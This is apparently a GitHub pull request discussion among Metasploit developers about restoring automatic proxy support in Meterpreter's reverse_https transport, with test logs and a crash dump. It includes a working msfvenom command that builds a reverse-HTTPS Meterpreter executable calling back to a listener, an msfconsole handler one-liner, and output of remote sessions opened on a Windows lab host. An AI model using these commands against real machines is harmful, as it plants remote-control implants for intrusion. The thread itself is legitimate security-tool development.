Closed OJ closed 9 years ago
Test PASSED. Refer to this link for build results (access rights to CI server needed): https://ci.metasploit.com//job/GPR-MeterpreterWin/196/ Test PASSED.
I am on the latest msf commit 9549d572cc77175d675da120248f34892ad6acd3. Updated gems.
Built this branch, copied metsrv.x86.dll and stdapi.x86.dll to data/meterpreter/.
Using payload/windows/meterpreter/reverse_https
But get the following error:
Meterpreter session 1 is not valid and will be closed.
172.16.90.1 - Meterpreter session 1 closed.
Exception handling request: Bad file descriptor
Dammit. Thanks for testing. Is it an auto proxy with a config url?
No, AUto detect unticked. Auto config script unticked. Use a proxy server for LAN Ticked. Use the same proxy for all protocols ticked
Thanks. I'll set that up and get back to you.
But, I don't see any SYN_SENT
to the listener IP like I did before at least?
Doesn't look like its working with the PayloadProxyHost and PayloadProxyPort manually set now either?
That doesn't sound right, as that was the use case I was testing myself! If PayloadProxyHost
is set manually it overrides any system configuration found. Be sure to set PayloadProxyType
as well.
I'll be validating this again today, in my testing I had set the proxy across the board, and not manually set it for http and then clicked the 'apply to all protocols' option.
When I deleted the DLLs PayloadProxyHost
settings worked...
So with this branch, I can get a session like so:
msf exploit(handler) > run
[*] Started HTTPS reverse handler on https://0.0.0.0:8443/
[*] Starting the payload handler...
[*] 10.1.10.40:39412 (UUID: e8b4f19c8ae95d50/x86=1/windows=1/2015-05-13T05:40:04Z) Staging Native payload ...
[*] Meterpreter session 2 opened (10.1.10.40:8443 -> 10.1.10.40:39412) at 2015-05-14 10:11:28 +1000
meterpreter > sysinfo
Computer : WIN-8RDFKU33NLH
OS : Windows 8 (Build 9200).
Architecture : x64 (Current Process is WOW64)
System Language : en_GB
Meterpreter : x86/win32
Listener is on 10.1.10.40, diff subnet to victim, who's IP config is:
Ethernet adapter Ethernet0:
Connection-specific DNS Suffix . : localdomain
Link-local IPv6 Address . . . . . : fe80::c4d5:3a3a:33c:1e7d%3
IPv4 Address. . . . . . . . . . . : 192.168.0.129
Subnet Mask . . . . . . . . . . . : 255.255.255.0
Default Gateway . . . . . . . . . :
Proxy settings look like this:
msfconsole
was started with this:
./msfconsole -x 'use multi/handler; set payload windows/meterpreter/reverse_https; set LHOST 10.1.10.40; set LPORT 8443; run'
So there's no proxy set in the stager/payload, but it's picked up from behind the scenes via IE's configuration. The session works fine. The debug log shows it too:
[3528] [c28] [PROXY] Got IE configuration
[3528] [c28] [PROXY] IE config set to proxy 192.168.0.1:3128 with bypass <local>
@Meatballs1 is this scenario similar to yours?
If I generate a payload like so:
./msfvenom -p windows/meterpreter/reverse_https LHOST=10.1.10.40 LPORT=8443 PayloadProxyType=HTTP PayloadProxyHost=192.168.0.1 PayloadProxyPort=3128 -f exe -o ~/scratch/a.exe
I can remove the proxy configuration from IE (so that there's no proxy at all, and IE now fails to load anything), run the payload and still get a valid session:
payload => windows/meterpreter/reverse_https
LHOST => 10.1.10.40
LPORT => 8443
PayloadProxyHost => 192.168.0.1
PayloadProxyPort => 3128
[*] Started HTTPS reverse handler on https://0.0.0.0:8443/
[*] Starting the payload handler...
[*] 10.1.10.40:39739 (UUID: d07ee6804a13262c/x86=1/windows=1/2015-05-14T00:31:33Z) Staging Native payload ...
[*] Meterpreter session 1 opened (10.1.10.40:8443 -> 10.1.10.40:39739) at 2015-05-14 10:34:58 +1000
meterpreter > sysinfo
Computer : WIN-8RDFKU33NLH
OS : Windows 8 (Build 9200).
Architecture : x64 (Current Process is WOW64)
System Language : en_GB
Meterpreter : x86/win32
Debug log confirms:
[1848] [990] [DISPATCH] Configuring with proxy: http://192.168.0.1:3128
Something is definitely different between you and I @Meatballs1, any help understanding what that is would be appreciated mate.
Seeing an immediate crash with binaries built from this PR with metasploit-framework at master. Using reverse_tcp for my first test. Dies on both Windows 8.1 and Wine
Same crash with https transport (stager connects, metsrv crashes).
[17e8] [SERVER] Initializing from configuration: 0x0018FF60
[17e8] [SESSION] Comms Fd: 1638240
[17e8]
[17e8] [SESSION] Expiry: 13184
[17e8] [SERVER] module loaded at 0x02A80000
[17e8] [SERVER] main server thread: handle=0x00000320 id=0x000017E8 sigterm=0x002F3FC8
[17e8] [REMOTE] remote created 00268EB8
[17e8] [DISPATCH] Session going for 13184 seconds from 1431576029 to 1431589213
(dcc.17e8): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000000 ebx=002675b0 ecx=00000002 edx=00000000 esi=0018ff60 edi=00268eb8
eip=02a81f25 esp=0018fca4 ebp=0018fed0 iopl=0 nv up ei pl nz na po nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010202
02a81f25 833800 cmp dword ptr [eax],0 ds:002b:00000000=????????
Ah, this seems to require metasploit-framework @ PR #5300 to work properly. Using this PR branch of framework results in working sessions (no proxy settings).
@Meatballs1 What framework revision were you testing from?
I apologise, I failed to mention that https://github.com/rapid7/metasploit-framework/pull/5300 is required on the MSF side.
Very sorry :disappointed:
And @bcook-r7 just merged the MSF PR into master, so if you work off master now you should be good.
Yes, just rebased on the latest master and it now works fine in my proxied & firewalled environment.
\o/
Woooohoooooo!
Thank you sir.
I have done the following tests (on x86 reverse_https only):
I haven't got 'Automatically detect settings' set up etc.
I don't have the auto settings thing set up either, it'd be great to find someone who has access to something "real" rather than me trying to get something working locally.
An easy way to do this is using Responder.py. I can tackle this later if you like.
That's a good idea!
Manual and no proxy configurations worked OK for me.
Override (local stager setting overrides Internet settings proxy configuration) worked as expected as well.
Is there anything special from WinHTTP's point of view that would make automatic proxy settings work any differently than a manually-set proxy? I'm inclined to land this, since I don't think there would be a difference.
I honestly don't think so. The implementation can't be any worse than it is in master right now 😨
Roger, landing.
Thanks mate. I'll add this to the stager soon.
Note: This PR requires https://github.com/rapid7/metasploit-framework/pull/5300 on the MSF side to function.
After the WinHTTP work we did recently the automatic proxy support inside Meterpreter effectively stopped working. This meant that those people who used
reverse_http/s
payloads would get an initial connection back to MSF but from there the shell would be dead.The reason was that WinHTTP doesn't adopt the default configuration for the current user like the WinInet API does. What was required was more work to query the IE settings and implement them separately.
This PR adds the default proxy support back to Meterpreter so that any system configuration for the user is applied in the way that it used to be. This doesn't add support for proxies that require manual authentication, but we didn't have that for WinInet either.
Once this has been verified and landed, I'll port these changes to the
reverse_winhttp/s
stagers as well.Verification
PayloadProxyHost
,PayloadProxyUser
... etc).Ping @Meatballs1 for help with verifying that this works please!